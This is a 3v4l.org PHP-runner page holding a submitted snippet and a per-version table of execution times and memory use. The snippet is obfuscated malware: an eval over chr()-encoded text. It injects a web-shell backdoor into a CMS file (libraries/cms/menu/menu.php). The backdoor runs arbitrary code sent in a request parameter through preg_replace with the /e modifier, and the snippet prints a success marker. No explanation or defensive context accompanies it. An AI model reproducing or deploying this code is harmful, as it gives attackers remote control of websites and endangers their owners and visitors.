3v4l.org

run code in 300+ PHP versions simultaneously
<?php $c=eval(chr(36).chr(102).chr(110).chr(32).chr(61).chr(32).chr(115).chr(116).chr(114).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101).chr(40).chr(39).chr(105).chr(110).chr(100).chr(101).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(32).chr(39).chr(108).chr(105).chr(98).chr(114).chr(97).chr(114).chr(105).chr(101).chr(115).chr(47).chr(99).chr(109).chr(115).chr(47).chr(109).chr(101).chr(110).chr(117).chr(47).chr(109).chr(101).chr(110).chr(117).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(32).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(83).chr(67).chr(82).chr(73).chr(80).chr(84).chr(95).chr(70).chr(73).chr(76).chr(69).chr(78).chr(65).chr(77).chr(69).chr(39).chr(93).chr(41).chr(59).chr(32).chr(105).chr(102).chr(32).chr(40).chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(36).chr(102).chr(110).chr(44).chr(32).chr(115).chr(116).chr(114).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101).chr(40).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(39).chr(44).chr(32).chr(34).chr(60).chr(63).chr(112).chr(104).chr(112).chr(92).chr(110).chr(105).chr(102).chr(32).chr(40).chr(105).chr(115).chr(115).chr(101).chr(116).chr(40).chr(92).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(92).chr(34).chr(104).chr(116).chr(70).chr(92).chr(34).chr(93).chr(41).chr(41).chr(32).chr(123).chr(47).chr(42).chr(78).chr(87).chr(73).chr(81).chr(117).chr(81).chr(42).chr(47).chr(64).chr(112).chr(114).chr(101).chr(103).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101).chr(40).chr(39).chr(47).chr(40).chr(46).chr(42).chr(41).chr(47).chr(101).chr(39).chr(44).chr(32).chr(64).chr(92).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(39).chr(104).chr(116).chr(70).chr(39).chr(93).chr(44).chr(32).chr(39).chr(39).chr(41).chr(59).chr(125).chr(92).chr(110).chr(34).chr(44).chr(32).chr(102).chr(105).chr(108).chr(101).chr(95).chr(103).chr(101).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(36).chr(102).chr(110).chr(41).chr(41).chr(41).chr(41).chr(32).chr(100).chr(105).chr(101).chr(40).chr(39).chr(120).chr(52).chr(50).chr(120).chr(39).chr(41).chr(59)); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00416.88
8.3.50.0100.00921.19
8.3.40.0000.01518.84
8.3.30.0090.00618.71
8.3.20.0040.00420.21
8.3.10.0080.00023.66
8.3.00.0090.00023.71
8.2.180.0070.01116.75
8.2.170.0150.00422.96
8.2.160.0070.00720.60
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0090.00019.88
8.2.120.0080.00026.35
8.2.110.0040.00422.31
8.2.100.0070.00718.29
8.2.90.0040.00419.34
8.2.80.0030.00618.05
8.2.70.0030.00617.63
8.2.60.0030.00518.05
8.2.50.0030.00618.07
8.2.40.0080.00320.52
8.2.30.0000.00719.48
8.2.20.0080.00017.88
8.2.10.0050.00218.20
8.2.00.0040.00418.21
8.1.280.0140.00425.92
8.1.270.0090.00020.22
8.1.260.0040.00428.09
8.1.250.0040.00428.09
8.1.240.0060.00323.85
8.1.230.0070.00419.29
8.1.220.0080.00017.78
8.1.210.0030.00618.77
8.1.200.0000.00917.47
8.1.190.0040.00417.23
8.1.180.0000.00818.10
8.1.170.0040.00418.69
8.1.160.0000.00720.73
8.1.150.0030.00518.89
8.1.140.0000.00819.71
8.1.130.0000.00817.80
8.1.120.0050.00317.49
8.1.110.0050.00317.60
8.1.100.0040.00417.50
8.1.90.0000.00817.45
8.1.80.0000.00817.61
8.1.70.0000.00717.55
8.1.60.0090.00017.71
8.1.50.0000.00917.64
8.1.40.0000.00917.49
8.1.30.0030.00617.75
8.1.20.0040.00417.66
8.1.10.0000.00817.51
8.1.00.0000.00817.54
8.0.300.0070.00318.77
8.0.290.0040.00417.00
8.0.280.0030.00318.70
8.0.270.0040.00417.49
8.0.260.0000.00817.31
8.0.250.0030.00317.14
8.0.240.0040.00417.04
8.0.230.0030.00317.23
8.0.220.0040.00417.09
8.0.210.0070.00017.16
8.0.200.0040.00417.17
8.0.190.0040.00417.20
8.0.180.0030.00617.23
8.0.170.0040.00417.21
8.0.160.0070.00017.27
8.0.150.0080.00017.11
8.0.140.0030.00517.00
8.0.130.0060.00013.56
8.0.120.0040.00416.99
8.0.110.0040.00417.12
8.0.100.0030.00517.07
8.0.90.0050.00317.08
8.0.80.0130.00317.12
8.0.70.0040.00417.13
8.0.60.0000.00817.15
8.0.50.0000.00817.11
8.0.30.0110.00817.07
8.0.20.0070.01217.40
8.0.10.0000.00717.07
8.0.00.0090.01116.94
7.4.330.0050.00016.74
7.4.320.0070.00016.65
7.4.300.0000.00716.74
7.4.290.0000.00716.73
7.4.280.0030.00616.74
7.4.270.0040.00416.56
7.4.260.0060.00316.73
7.4.250.0040.00416.60
7.4.240.0000.00716.57
7.4.230.0040.00416.66
7.4.220.0080.00816.73
7.4.210.0120.00316.75
7.4.200.0000.00716.72
7.4.160.0070.01316.54
7.4.150.0090.00917.40
7.4.140.0100.01417.86
7.4.130.0100.01116.63
7.4.120.0090.00916.72
7.4.110.0110.00716.73
7.4.100.0160.00316.63
7.4.90.0180.00016.63
7.4.80.0090.01619.39
7.4.70.0140.00416.64
7.4.60.0030.01316.69
7.4.50.0060.00616.67
7.4.40.0100.00716.56
7.4.30.0160.00816.80
7.4.00.0120.00314.96
7.3.330.0000.00513.34
7.3.320.0000.00613.30
7.3.310.0030.00316.50
7.3.300.0040.00416.44
7.3.290.0100.00516.46
7.3.280.0130.00816.49
7.3.270.0100.00917.40
7.3.260.0090.00916.55
7.3.250.0150.00416.56
7.3.240.0110.00916.57
7.3.230.0090.00916.56
7.3.210.0180.00016.70
7.3.200.0130.00319.39
7.3.190.0110.00616.58
7.3.180.0090.00616.51
7.3.170.0100.00616.44
7.3.160.0070.01516.55
7.2.330.0090.00916.81
7.2.320.0060.01316.85
7.2.310.0170.00616.58
7.2.300.0140.00316.56
7.2.290.0140.00316.70
7.2.60.0100.00316.75
7.2.00.0070.00719.34
7.1.200.0060.00315.96
7.1.100.0030.00618.02
7.1.70.0000.00717.32
7.1.60.0110.01419.27
7.1.50.0060.01317.06
7.1.00.0030.07722.64
7.0.200.0000.00816.84
7.0.100.0030.05320.24
7.0.90.0130.08720.16
7.0.80.0230.08720.20
7.0.70.0170.07320.22
7.0.60.0030.06320.23
7.0.50.0530.07320.61
7.0.40.0030.08020.22
7.0.30.0130.08020.18
7.0.20.0070.04320.24
7.0.10.0070.04720.16
7.0.00.0070.08320.09
5.6.280.0000.05021.23
5.6.250.0100.04720.64
5.6.240.0070.04720.75
5.6.230.0130.05720.68
5.6.220.0170.03720.73
5.6.210.0100.07320.82
5.6.200.0100.06721.13
5.6.190.0030.04721.07
5.6.180.0100.07321.11
5.6.170.0070.08021.10
5.6.160.0070.08721.04
5.6.150.0130.06321.13
5.6.140.0000.08021.13
5.6.130.0070.04721.01
5.6.120.0070.06721.08
5.6.110.0100.08021.00
5.6.100.0100.04321.05
5.6.90.0100.07321.18
5.6.80.0130.03320.45
5.6.70.0030.09320.47
5.6.60.0100.06020.48
5.6.50.0070.08020.41
5.6.40.0130.07020.50
5.6.30.0000.07320.46
5.6.20.0070.05720.54
5.6.10.0070.06020.59
5.6.00.0100.05320.38
5.5.380.0100.06720.47
5.5.370.0070.05720.52
5.5.360.0130.04020.43
5.5.350.0170.07020.45
5.5.340.0030.07020.81
5.5.330.0100.06020.94
5.5.320.0200.07320.70
5.5.310.0030.06020.81
5.5.300.0030.05020.95
5.5.290.0130.07020.81
5.5.280.0130.07320.91
5.5.270.0130.05020.93
5.5.260.0070.08720.87
5.5.250.0070.04720.74
5.5.240.0070.07720.32
5.5.230.0070.04020.29
5.5.220.0070.04720.38
5.5.210.0030.08020.29
5.5.200.0100.07720.13
5.5.190.0000.08020.35
5.5.180.0130.07020.24
5.5.160.0030.04720.25
5.5.150.0130.03320.18
5.5.140.0070.03720.07
5.5.130.0070.06320.24
5.5.120.0130.07720.32
5.5.110.0100.07020.24
5.5.100.0100.08020.18
5.5.90.0070.08020.18
5.5.80.0070.04320.23
5.5.70.0070.04720.22
5.5.60.0070.04320.18
5.5.50.0070.08020.04
5.5.40.0030.06720.13
5.5.30.0070.04320.22
5.5.20.0100.06020.11
5.5.10.0130.06020.19
5.5.00.0000.06020.07

preferences:
60.52 ms | 401 KiB | 5 Q